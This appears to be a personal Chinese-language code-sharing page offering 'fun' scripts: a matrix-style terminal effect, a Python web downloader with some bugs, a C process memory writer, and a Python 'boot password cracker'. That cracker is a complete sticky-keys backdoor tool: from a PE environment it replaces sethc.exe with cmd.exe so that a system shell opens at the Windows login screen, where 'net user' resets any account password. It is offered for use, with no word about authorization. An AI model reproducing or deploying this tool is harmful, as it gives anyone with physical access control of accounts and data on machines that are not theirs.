这里会不定时加一些有趣好玩的代码,可以自己拿去试试
python
#这是一个简单的装13脚本
import os
import random
import time
a='qwertyuiopasdfghjklzxcvbnm'
os.system("color 2")
while True:
for i in range(random.randint(0,200)):
print(a[random.randint(0,25)],end="")
print("\n")
time.sleep(0.01)
python
#这是一个电脑开机密码破解脚本
#在pe系统中运行程序
#重启电脑在密码输入界面按5次shift弹出cmd命令框,输入:(每输入一条按一次回车)
#1:“net user”
#2:“net user 你的用户名 新密码”
#输入新密码
import os
import sys
import subprocess
import string
import time
# 颜色控制(PE下不一定支持,但加上不会报错)
try:
from colorama import init, Fore, Style
init(autoreset=True)
GREEN = Fore.GREEN
RED = Fore.RED
YELLOW = Fore.YELLOW
CYAN = Fore.CYAN
RESET = Style.RESET_ALL
except ImportError:
# PE下没有colorama就用空字符串
GREEN = RED = YELLOW = CYAN = RESET = ""
def print_info(msg):
print(f"{CYAN}[INFO]{RESET} {msg}")
def print_success(msg):
print(f"{GREEN}[SUCCESS]{RESET} {msg}")
def print_warning(msg):
print(f"{YELLOW}[WARNING]{RESET} {msg}")
def print_error(msg):
print(f"{RED}[ERROR]{RESET} {msg}")
def get_target_system32():
"""
自动定位目标系统的真实 System32 目录。
关键修复:如果当前PE是32位,而目标系统是64位,
必须通过 C:\Windows\Sysnative 来访问真实的 System64 目录,
否则会被 WOW64 重定向到 SysWOW64。
"""
for drive in string.ascii_uppercase:
# 跳过软驱和PE系统盘
if drive in ('A', 'B', 'X'):
continue
drive_root = f"{drive}:\\"
windows_dir = os.path.join(drive_root, "Windows")
if not os.path.exists(windows_dir):
continue
# 1. 优先检测 Sysnative(32位PE访问64位系统时的魔法目录)
sysnative_path = os.path.join(windows_dir, "Sysnative")
if os.path.exists(sysnative_path):
# 验证里面有没有 cmd.exe
if os.path.exists(os.path.join(sysnative_path, "cmd.exe")):
print_info(f"检测到 32位PE + 64位系统,使用 Sysnative 绕过重定向")
return sysnative_path, f"{drive}:"
# 2. 检测正常的 System32(64位PE 或 32位系统)
system32_path = os.path.join(windows_dir, "System32")
if os.path.exists(system32_path):
if os.path.exists(os.path.join(system32_path, "cmd.exe")):
return system32_path, f"{drive}:"
return None, None
def run_cmd(command):
"""封装 subprocess,执行CMD命令并返回是否成功"""
try:
result = subprocess.run(
command,
shell=True,
capture_output=True,
text=True,
encoding='gbk' # PE中文系统用gbk
)
if result.returncode == 0:
return True, result.stdout
else:
return False, result.stderr
except Exception as e:
return False, str(e)
def main():
print("=" * 60)
print(" PE 一键替换粘滞键 (专业完善版)")
print(" 支持 32/64位PE自适应,自带回滚机制")
print("=" * 60)
# ---------- 第一步:定位系统目录 ----------
print_info("正在扫描目标系统的 System32 目录...")
target_sys32, sys_drive = get_target_system32()
if not target_sys32:
print_error("未找到有效的 Windows 系统目录!")
print_info("请确认硬盘已正确连接,且包含完整的 Windows 系统。")
input("按回车键退出...")
sys.exit(1)
print_success(f"系统盘符: {sys_drive}")
print_success(f"目标路径: {target_sys32}")
# ---------- 第二步:准备文件路径 ----------
sethc = os.path.join(target_sys32, "sethc.exe")
backup = os.path.join(target_sys32, "sethc.exe.bak")
cmd_exe = os.path.join(target_sys32, "cmd.exe")
# 检查 cmd.exe 是否存在(理论上一定存在)
if not os.path.exists(cmd_exe):
print_error(f"在 {target_sys32} 下找不到 cmd.exe,请检查路径!")
input("按回车键退出...")
sys.exit(1)
print_info(f"原始文件: {sethc}")
print_info(f"备份文件: {backup}")
print_info(f"替换来源: {cmd_exe}")
# ---------- 第三步:备份原始文件 ----------
print_info("正在备份原始 sethc.exe ...")
if os.path.exists(backup):
print_warning("备份文件已存在,跳过备份步骤。")
else:
if os.path.exists(sethc):
# 使用 move 命令重命名(比 rename 更稳定)
success, output = run_cmd(f'move "{sethc}" "{backup}"')
if success:
print_success("备份成功!")
else:
print_error(f"备份失败: {output}")
input("按回车键退出...")
sys.exit(1)
else:
print_warning("未找到 sethc.exe,可能已经被替换过。继续执行覆盖...")
# ---------- 第四步:替换文件 ----------
print_info("正在用 cmd.exe 替换 sethc.exe ...")
success, output = run_cmd(f'copy /y "{cmd_exe}" "{sethc}"')
if not success:
print_error(f"替换失败: {output}")
# ---------- 第五步:回滚机制(自动恢复备份) ----------
print_warning("正在尝试回滚恢复备份...")
if os.path.exists(backup):
rollback_success, _ = run_cmd(f'move "{backup}" "{sethc}"')
if rollback_success:
print_success("已成功回滚,系统文件已恢复。")
else:
print_error("回滚失败!建议手动恢复备份文件。")
else:
print_error("没有找到备份文件,无法回滚。")
input("按回车键退出...")
sys.exit(1)
# ---------- 第六步:验证结果 ----------
# 检查替换后的文件大小是否和 cmd.exe 一致(快速验证)
try:
if os.path.exists(sethc) and os.path.getsize(sethc) == os.path.getsize(cmd_exe):
print_success("替换验证通过 (文件大小匹配)!")
else:
print_warning("替换验证警告:文件大小不匹配,但操作可能仍然成功。")
except Exception:
pass
# ---------- 第七步:完成提示 ----------
print("\n" + "=" * 60)
print_success("🎉 所有操作已完成!")
print_info("重启电脑后,在登录界面连续按 5 次 Shift 键")
print_info("即可弹出命令提示符,输入 net user 用户名 新密码 来重置。")
print("=" * 60)
# 等待用户确认再退出(防止PE下黑窗一闪而过)
input("\n按回车键退出程序...")
if __name__ == "__main__":
main()
python
#这是一个简单的小爬虫脚本
#可以爬一些网页图片视频,照片之类的
import sys
import requests
# 可爬取的资源类型和格式+
scope=['网页','视频','音频','图片']
file_format_s=['jpg','jpeg','png','gif']
while True:
file_kind=input('你要爬区什么文件 网页/视频/音频/图片 输入stop停止')
# 判断是否停止运行
if file_kind == 'stop':
sys.exit()
# 判断是否是规定的内容
while True:
if file_kind not in scope:
print('请选择规定的内容')
file_kind=input('请重新选择 网页/视频/音频/图片 输入stop停止')
if file_kind == 'stop':
sys.exit()
else:
break
url=input('请输入要爬取的资源的地址')
name=input('请给你的文件命个名')
# 图片爬取
if file_kind == '图片':
file_format=input('你想用什么格式保存图片 jpg/jpeg/png/gif')
# 判断是否是规定的格式
while True:
if file_format not in file_format_s:
print('请选择规定的格式')
file_format=input('请重新选择 jpg/jpeg/png/gif 输入stop停止')
if file_format == 'stop':
sys.exit()
else:
break
# 开始爬取
res=requests.get(url,headers)
print(res.status_code)
print(res.content)
photo = open(f"{name}.{file_format}",'wb')
photo.write(res.content)
photo.close()
# 网页爬取
elif file_kind == '网页':
res = requests.get(url)
res.encoding = 'utf-8'
print(res.status_code)
print(res.text)
webpage = open(f"{name}.html", 'w', encoding='utf-8')
webpage.write(res.text)
webpage.close()
# 视频爬取
elif file_kind == '视频':
res=requests.get(url)
print(res.status_code)
print(res.content)
video = open(f"{name}.mp4",'wb')
video.write(res.content)
video.close()
# 音频爬取
elif file_kind == '音频':
res=requests.get(url)
print(res.status_code)
print(res.content)
audio = open(f"{name}.mp3",'wb')
audio.write(res.content)
audio.close()
#再次爬取
while True:
off=input('是否再来')
if off == '是'or '否':
if off == '是':
break
else:
sys.exit()
else:
off=input("请重新输入")
C
//这是一个简单的内存修改器
#include <windows.h>>
#include <stdio.h>>
#include <string.h>
#define BUF_LEN 256
int main()
{
HANDLE hProcess;
DWORD pid;
LPVOID memAddr;
int select;
// 数字缓存
int numVal;
// 字符串缓存
char strBuf[BUF_LEN] = { 0 };
SIZE_T writeSize;
BOOL writeRet;
printf("===== Windows简易内存修改器 =====\n");
printf("1. 请输入目标进程PID(句柄数值): ");
scanf("%d", &pid);
getchar(); // 吸收换行符
// 打开进程,赋予读写内存权限
hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
if (hProcess == NULL)
{
printf("打开进程失败!错误码: %d\n", GetLastError());
system("pause");
return -1;
}
printf("进程打开成功\n\n");
printf("2. 输入要修改的内存地址(十六进制 例如 0x00A12340): ");
scanf("%p", &memAddr);
getchar();
printf("\n请选择修改数据类型:\n");
printf("1 - 修改整数数字\n");
printf("2 - 修改字符串文本\n");
printf("输入选择: ");
scanf("%d", &select);
getchar();
if (select == 1)
{
printf("输入要写入的整数值: ");
scanf("%d", &numVal);
// 写入4字节int
writeRet = WriteProcessMemory(hProcess, memAddr, &numVal, sizeof(int), &writeSize);
writeSize = sizeof(int);
}
else if (select == 2)
{
printf("输入要写入的字符串内容: ");
fgets(strBuf, BUF_LEN, stdin);
// 去除fgets读取的换行符
strBuf[strcspn(strBuf, "\n")] = '\0';
writeSize = strlen(strBuf) + 1; // +1 包含字符串结束符\0
writeRet = WriteProcessMemory(hProcess, memAddr, strBuf, writeSize, &writeSize);
}
else
{
printf("输入类型错误,程序退出\n");
CloseHandle(hProcess);
system("pause");
return -1;
}
// 操作结果判断
if (writeRet)
{
printf("\n 内存修改成功!共写入 %lu 字节数据\n", writeSize);
}
else
{
printf("\n 内存写入失败!错误码: %d\n", GetLastError());
printf("常见原因:地址非法、权限不足、进程已关闭\n");
}
// 释放句柄
CloseHandle(hProcess);
printf("\n程序结束,按任意键关闭窗口...\n");
system("pause");
return 0;
}
© 2026 All Rights Reserved | Made with Code & Passion